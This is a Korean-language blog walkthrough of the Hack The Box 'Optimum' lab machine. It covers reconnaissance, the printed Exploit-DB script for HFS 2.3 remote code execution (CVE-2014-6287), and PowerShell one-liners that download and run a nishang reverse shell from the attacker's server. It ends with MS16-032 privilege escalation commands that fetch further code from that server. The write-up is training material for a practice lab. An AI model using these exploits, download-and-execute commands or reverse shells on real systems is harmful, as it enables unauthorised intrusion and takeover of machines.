정보보안

OPTIMUM 본문

HTB

OPTIMUM

haru0909 2023. 8. 20. 21:20

OPTIMUM

Target IP: 10.129.64.30
Attacker IP: 10.10.14.12

1. 정보수집

(1). nmap: 80번 포트 밖에 나온 것이 없다.

$ nmap -sV -sC -p- -Pn -n --open --max-retries 2 10.129.64.30 -oA nmap
>
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 833.78 seconds

(2). gobuster: favico 외에는 나온 것 없음.

$ gobuster dir -u http://10.129.64.30/ -w /usr/share/wordlists/dirb/c
ommon.txt

(3). searchsploit: RCE가 있음.

─$ searchsploit HFS 2.3
-------------------------------------- ---------------------------------
 Exploit Title                        |  Path
-------------------------------------- ---------------------------------
HFS (HTTP File Server) 2.3.x - Remote | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remo | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2. | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x  | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x  | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2 | windows/webapps/34852.txt
-------------------------------------- ---------------------------------

$ cat /usr/share/exploitdb/exploits/windows/remote/49584.py
# Exploit Title: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 20/02/2021
# Exploit Author: Pergyz
# Vendor Homepage: http://www.rejetto.com/hfs/
# Software Link: https://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Microsoft Windows Server 2012 R2 Standard
# CVE : CVE-2014-6287
# Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

#!/usr/bin/python3

import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.10.1"
lport = 1111
rhost = "10.10.10.8"
rport = 80

# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')

(3-1). searchsploit: HFS 2.3 - HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
URL: http://{rhost}:{rport}/?search=%00{{.{URL ENCODED_PAYLOAD}.}}
payload: exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request  
encoded\_payload = urllib.parse.quote\_plus(payload)  
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded\_payload}.}}'  
urllib.request.urlopen(url)

# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

(4). RCE 전 Test Attack

(4-1). Blind RCE일 수도 있기 때문에 ICMP를 이용한 테스트 진행

(5). ReverseShell을 만들자

  • Target이 Windows이기 때문에 파워쉘 스크립트를 통해 이루어져야 함.
  • nishang github에서 git clone 진행: git clone https://github.com/samratashok/nishang.git
  • /nishang/Shells 안에 있는 powershell 리버스쉘 파일을 프로젝트 디렉에 옮겨 옴: /opt/nishang/Shells$ cp Invoke-PowerShellTcp.ps1 ~/op/
  • Invoke-PowerShellTcp.ps1 파일은 함수 하나로만 이루어져 있기 때문에 메모리에 로드만 함. 함수를 트리거하는 코드를 파일 맨 아래에 복붙함:
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -port 4444

(6). 타겟이 공격자의 웹서버에서 리버스쉘을 다운받아 실행하는 한 줄짜리 파워쉘 스크립트를 짜자
iex(new-object net.webclient).downloadstring('http://10.10.14.12:8081/Invoke-PowerShellTcp.ps1')
-> http://10.129.64.30/?search=%00%7B%7B.exec%7Cpowershell.exe+iex(new-object+net.webclient).downloadstring('http://10.10.14.12/Invoke-PowerShellTcp.ps1').%7D%7D

*공격이 되지 않을 경우 powershell.exe의 full path(3개)를 넣어 진행해보자.

(7). 웹서버를 올리고 nc listening을 킨 후 공격하자.
$ python -m http.server 8081
$ nc -lvnp 4444

4

(8). GET USER FLAG
PS C:\Users\kostas\Desktop> type user.txt
263d8639810b96b8422063f472f1bc8f

(9). administrator로 권한 상승이 필요함
systeminfo 확인 시 Windows Server 2012 R2를 사용하는 것을 확인할 수 있음.

PS C:\Users\kostas\Downloads> systeminfo
Host Name:                 OPTIMUM
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600

(10). Windows Server 2012 R2는 ms16-032, ms16-098의 안정적이고 잘 사용되는 local privilege escalation exploit이 존재함.

  • ms16-032 github 검색 시 empire 프로젝트로 진행
  • raw 파일을 wget으로 다운로드:
  • $ wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1
  • Invoke-MS16032.ps1 역시 함수로만 이루어져 있기 때문에 트리거 할 수 있는 코드를 파일 맨 아래에 삽입함.
  • Command에는 Invoke-MS16032를 트리거 한 후 실행할 명령을 적어주면 됨.
  • Invoke-MS16032를 실행하면 SYSTEM 권한을 얻기 때문에, 리버스쉘을 받아오는 명령을 실행할 예정.
    Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.12:8081/Invoke-PowerShellTcp.ps1')"
  • Invoke-PowershellTcp.ps1 파일의 nc listening할 port를 변경하여 SYSTEM shell을 받을 준비를 함.
    $ vim Invoke-PowershellTcp.ps1
    $ nc -lvnp 4445

(11). 아까 얻은 리버스 쉘에서
iex(new-object net.webclient).downloadstring('http://10.10.14.12:8081/Invoke-MS16032.ps1')